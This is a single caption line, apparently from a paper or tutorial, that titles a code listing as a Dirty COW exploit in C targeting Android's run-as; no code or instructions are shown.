Listing 3: Dirty COW Exploit C Android run-as